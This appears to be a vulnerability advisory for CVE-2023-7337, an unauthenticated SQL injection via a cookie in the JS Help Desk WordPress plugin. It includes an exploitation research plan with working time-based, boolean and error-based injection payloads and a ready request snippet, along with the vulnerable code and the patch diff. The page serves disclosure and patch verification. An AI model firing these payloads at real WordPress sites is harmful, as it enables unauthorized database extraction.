JS Help Desk – AI-Powered Support & Ticketing System 2.8.2 - Unauthenticated SQL Injection via 'js-support-ticket-token-tkstatus' Cookie
Description
The JS Help Desk – AI-Powered Support & Ticketing System plugin for WordPress is vulnerable to SQL Injection via the 'js-support-ticket-token-tkstatus' cookie in version 2.8.2 due to an incomplete fix for CVE-2023-50839 where a second sink was left with insufficient escaping on the user supplied values and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=2.8.2What Changed in the Fix
Changes introduced in v2.8.3
Source Code
WordPress.org SVNThis research plan focuses on exploiting **CVE-2023-7337**, an unauthenticated SQL injection vulnerability in the **JS Help Desk** plugin for WordPress. ### 1. Vulnerability Summary The JS Help Desk plugin (version <= 2.8.2) is vulnerable to an unauthenticated SQL injection via the `js-support-tick…
Show full research plan
This research plan focuses on exploiting CVE-2023-7337, an unauthenticated SQL injection vulnerability in the JS Help Desk plugin for WordPress.
1. Vulnerability Summary
The JS Help Desk plugin (version <= 2.8.2) is vulnerable to an unauthenticated SQL injection via the js-support-ticket-token-tkstatus cookie. This vulnerability stems from an incomplete fix for CVE-2023-50839. While the plugin developers attempted to sanitize inputs in certain code paths, a secondary "sink" (an SQL query execution point) remains where user-supplied data from the cookie is concatenated into a raw SQL query without proper escaping via esc_sql() or parameterization via $wpdb->prepare().
2. Attack Vector Analysis
- Endpoint: Any front-end page, but most reliably the plugin's main control panel page (default slug:
js-support-ticket-controlpanel). - Vulnerable Parameter: The
js-support-ticket-token-tkstatusHTTP cookie. - Authentication: Unauthenticated (accessible to any site visitor).
- Preconditions: The plugin must be active. The
js-support-ticket-controlpanelpage is automatically created upon activation (seeincludes/activation.php,insertMenu()function).
3. Code Flow
- Entry Point: A user visits a page where the plugin initializes, such as the
[jssupportticket]shortcode page. - Initialization: The plugin's core logic (likely in a class like
JSSTticketorJSSTuser) checks for the existence of tracking cookies to allow users to view their tickets without logging in. - Cookie Retrieval: The code retrieves the value of
$_COOKIE['js-support-ticket-token-tkstatus']. - Vulnerable Sink: The value is passed into a method that queries the
wp_js_ticket_ticketstable (or similar) to validate the "token". - SQL Injection: Because the value is used in a string-concatenated query like
SELECT ... FROM ... WHERE token = '$cookie_val'withoutprepare(), an attacker can break out of the string literal and append arbitrary SQL commands.
4. Nonce Acquisition Strategy
Based on the vulnerability description (unauthenticated cookie-based injection), no nonce is required. Cookies are typically processed during the WordPress init or wp_loaded hooks before the page content is rendered, or within the shortcode callback. These paths do not generally enforce nonce checks for read-only tracking operations.
If the exploitation required an AJAX request (unlikely for this specific cookie vector), the nonce would be found in the localized script object jsst_ajax_var.nonce (inferred) or similar, but the cookie vector suggests a direct page load is sufficient.
5. Exploitation Strategy
We will use a Time-Based Blind SQL Injection to verify the vulnerability, as it is the most reliable method when the query result isn't directly reflected in the UI.
Step 1: Baseline Request
Identify the response time of the target page without the malicious cookie.
- URL:
http://localhost:8888/js-support-ticket-controlpanel/ - Method:
GET - Tool:
http_request
Step 2: Verification (Sleep Test)
Send a request with a payload designed to cause a 5-second delay.
- Payload:
random_token' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- - - Cookie:
js-support-ticket-token-tkstatus=random_token' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- - - Request:
await http_request({
url: "http://localhost:8888/js-support-ticket-controlpanel/",
method: "GET",
headers: {
"Cookie": "js-support-ticket-token-tkstatus=random_token' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -"
}
});
Step 3: Data Extraction (Example: Get DB Version)
Confirm if the first character of the database version starts with '5' or '8'.
- Payload:
random_token' AND (SELECT 1 FROM (SELECT(IF(SUBSTRING(version(),1,1)='8',SLEEP(5),0)))a)-- -
6. Test Data Setup
- Activate Plugin: Ensure
js-support-ticketis installed and activated. - Verify Page: Confirm the page
/js-support-ticket-controlpanel/exists. If not, create it manually:wp post create --post_type=page --post_title="JS Help Desk" --post_status=publish --post_content='[jssupportticket]' --post_name='js-support-ticket-controlpanel'
- Populate Table (Optional): While not strictly necessary for many blind payloads, creating a ticket can help ensure the query logic reaches the
WHEREclause.- Use the front-end form on the control panel page to "Create Ticket".
7. Expected Results
- Baseline Request: Response time < 1 second.
- Vulnerable Request: Response time > 5 seconds.
- False Condition Request: (e.g.,
SLEEPlogic inside anIFthat evaluates to false) Response time < 1 second.
8. Verification Steps
After the http_request confirms the timing delay, use wp_cli to verify the environment:
- Check Tables:
wp db query "SHOW TABLES LIKE '%js_ticket%';". - Check Plugin Version:
wp plugin get js-support-ticket --field=version. Ensure it is2.8.2.
9. Alternative Approaches
If time-based injection is throttled or blocked:
- Boolean-Based: Observe if the page content changes (e.g., "Ticket not found" vs. a generic error) when the
tkstatuscookie contains a true/false condition:True:token=valid_token' AND 1=1-- -False:token=valid_token' AND 1=2-- -
- Error-Based: Inject payloads like
AND updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)and check the response body for MySQL errors, providedWP_DEBUGis enabled.
Summary
The JS Help Desk plugin for WordPress is vulnerable to unauthenticated SQL injection via the 'js-support-ticket-token-tkstatus' cookie in versions up to 2.8.2. This is due to an incomplete fix for a previous vulnerability (CVE-2023-50839) that left secondary database sinks vulnerable to raw SQL concatenation without proper preparation or escaping.
Vulnerable Code
/* includes/classes/wphdnotification.php line 84 */ public function getNotificationDatabySessionId($sessionfor , $deldata = false){ if(jssupportticket::$_jshdsession->sessionid == '') return false; $query = "SELECT sessionmsg FROM `" . jssupportticket::$_db->prefix . "js_ticket_jshdsessiondata` WHERE usersessionid = '" . jssupportticket::$_jshdsession->sessionid . "' AND sessionfor = '" . $sessionfor . "' AND sessionexpire > '" . time() . "'"; $data = jssupportticket::$_db->get_var($query); --- /* includes/classes/customfields.php line 509 */ $query = "SELECT field,fieldtitle,isuserfield,userfieldtype,userfieldparams,multiformid FROM " . jssupportticket::$_db->prefix . "js_ticket_fieldsordering WHERE isuserfield = 1 AND " . $published . " AND fieldfor =" . $fieldfor . $inquery. " AND multiformid =" . $multiformid. " ORDER BY ordering";
Security Fix
@@ -506,7 +506,7 @@ if (!is_admin()) { $inquery .= ' AND userfieldtype != "admin_only" '; } - $query = "SELECT field,fieldtitle,isuserfield,userfieldtype,userfieldparams,multiformid FROM " . jssupportticket::$_db->prefix . "js_ticket_fieldsordering WHERE isuserfield = 1 AND " . $published . " AND fieldfor =" . $fieldfor . $inquery. " AND multiformid =" . $multiformid. " ORDER BY ordering"; + $query = "SELECT field,fieldtitle,isuserfield,userfieldtype,userfieldparams,multiformid FROM " . jssupportticket::$_db->prefix . "js_ticket_fieldsordering WHERE isuserfield = 1 AND " . $published . " AND fieldfor =" . esc_sql($fieldfor) . $inquery. " AND multiformid =" . esc_sql($multiformid). " ORDER BY ordering"; $data = jssupportticket::$_db->get_results($query); return $data; } @@ -81,7 +81,7 @@ public function getNotificationDatabySessionId($sessionfor , $deldata = false){ if(jssupportticket::$_jshdsession->sessionid == '') return false; - $query = "SELECT sessionmsg FROM `" . jssupportticket::$_db->prefix . "js_ticket_jshdsessiondata` WHERE usersessionid = '" . jssupportticket::$_jshdsession->sessionid . "' AND sessionfor = '" . $sessionfor . "' AND sessionexpire > '" . time() . "'"; + $query = "SELECT sessionmsg FROM `" . jssupportticket::$_db->prefix . "js_ticket_jshdsessiondata` WHERE usersessionid = '" . esc_sql(jssupportticket::$_jshdsession->sessionid) . "' AND sessionfor = '" . esc_sql($sessionfor) . "' AND sessionexpire > '" . time() . "'"; $data = jssupportticket::$_db->get_var($query); if(!empty($data)){ $data = jssupportticketphplib::JSST_safe_decoding($data);
Exploit Outline
The exploit target is the front-end support panel (typically found at `/js-support-ticket-controlpanel/`). An unauthenticated attacker can execute SQL commands by sending a crafted GET request with a malicious `js-support-ticket-token-tkstatus` cookie. The payload typically uses time-based blind injection techniques (e.g., `AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`) to extract data from the database. Because the plugin processes these cookies during initialization to identify guest support sessions, no authentication or nonces are required to reach the vulnerable code path.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.